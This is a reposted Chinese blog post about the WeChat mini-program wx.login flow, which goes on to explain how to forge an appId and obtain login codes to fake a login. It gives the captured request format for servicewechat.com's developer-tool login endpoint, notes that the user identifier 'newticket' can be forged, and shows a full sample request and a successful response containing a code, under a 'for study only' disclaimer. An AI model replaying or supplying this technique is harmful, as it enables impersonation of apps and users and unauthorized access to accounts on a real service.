小程序中wx.login 登錄code


 

版權聲明:本文為博主原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接和本聲明。
本文鏈接: https://blog.csdn.net/getcomputerstyle/article/details/96285616

小程序提供了一個auth驗證接口,使小程序不需要額外登錄,就可以讓開發者獲得用戶的唯一標識openid。調用方法如下:

	wx.login({ 
		success:resp=>{
			const code = resp.code;
				//DoSomthing 攜帶code請求服務器
		}
   	})

經過測試發現,code沒有順序性,例如在一段時間內請求了多個code,隨便選一個都可以在微信提供的接口上驗證成功並獲得Openid。但是每個code只能驗證一次,並且只有五分鍾時效性(未測試)。


我要說的其實是偽造appId,從而獲取code,並偽造登錄。
小程序開發工具里是不允許修改appId為一個自己不是開發者的appId值的,所以必須搞清楚wx.login的時候微信生成這些code的原理。

經過給開發者工具設置代理並抓包,發現每次wx.login都進行了一次網絡請求:
在這里插入圖片描述
在這里插入圖片描述
這個請求是由以下幾部分組成的:

請求頭:
POST /wxa-dev-logic/jslogin?_r={{random}}&newticket={{ 用戶的另一個唯一標識,可偽造 }}&appid={{appId}}&platform=0&ext_appid=&os=win&clientversion=1021905151&os=win&clientversion=1.02.1905151&osversion=6.1.7601 HTTP/1.1
host: servicewechat.com
content-length: 25
Connection: close

POST數據:
{"scope":["snsapi_base"]}

模擬請求就可以得到對應的code

僅限學習和交流,請勿用於非法用途

POST https://servicewechat.com/wxa-dev-logic/jslogin?_r=0.5017947553947279&newticket=Ut8cKsaT7CVs_g0Q4-N5araal0h_E-HjGSmLW8ltPC0&appid=wx4dd641aaf8f42f3f&platform=0&ext_appid=&os=win&clientversion=1022004020HTTP/1.1
host: servicewechat.com
content-length: 25
Connection: close

{"scope":["snsapi_base"]}

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Content-Type: text/plain
X-WX-FJ: 001,018,0000001024
SKFrmwRespCookie: 6xinAiAKEAEoKjgEQARYIt4=
Content-Length: 143

{"baseresponse":{"errcode":0,"errmsg":"ok"},"code":"033oA8lG06MSAg2MYViG0s6dlG0oA8lI","scope_list":[],"appname":"","appicon_url":"","state":""}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM